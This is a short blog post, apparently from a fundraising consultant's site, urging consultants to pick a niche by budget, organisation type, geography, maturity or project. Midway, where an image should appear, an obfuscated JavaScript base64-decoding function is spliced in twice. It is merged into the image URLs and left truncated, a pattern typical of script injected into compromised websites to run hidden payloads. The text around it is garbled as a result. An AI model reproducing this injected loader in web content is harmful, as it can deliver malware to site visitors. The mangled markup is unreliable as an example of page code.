What will you be known for?

One of the fastest ways to be successful in business is to carve out a niche for yourself. The easiest way to get started is to decide what you want to be known for.

Being a generalist in fundraising won’t get you very far.  In fact, there are dozens if not hundreds of fundraising consultants out there who do a little of everything. Want to stand out from the crowd? Then stand for something.

What do you want people to think of when they see your name? If they associate your name with a particular area of specialty, then you’ve got a platform you can build on and make money from.

There are lots of ways to specialize:                          function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandyrees.com/wp-content/uploads/2014/04/bigstock-The-word-Niche-53715811.jpg">function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandyrees.com/wp-content/uploads/2014/04/bigstock-The-word-Niche-53715811-300x200.jpg" alt="" width="300" height="200" />

 

• By size of organization budget. You might choose to work with only those nonprofits who have a budget of $1 million or more. Or maybe you have a heart for small nonprofits with a budget of $500,000 or less.
• By organization type. You could choose to work only with animal rescue groups or only with private schools or only arts organizations.
• By geography.  Maybe you don’t want to travel, so you only want to work in a 100-mile radius of your home. Or maybe you only want to work in the Northeast.
• By organizational maturity. You could work only with organizations that have grown in their fundraising efforts enough to have hired a Development Director.
• By project. You might work with nonprofits on specific projects like capital campaigns or Board development.

The opportunities are endless.

It doesn’t really matter which way you niche, just do it. It will build your credibility faster and make marketing a lot easier. After all, if you know exactly who you’re looking for, they pretty easy to find.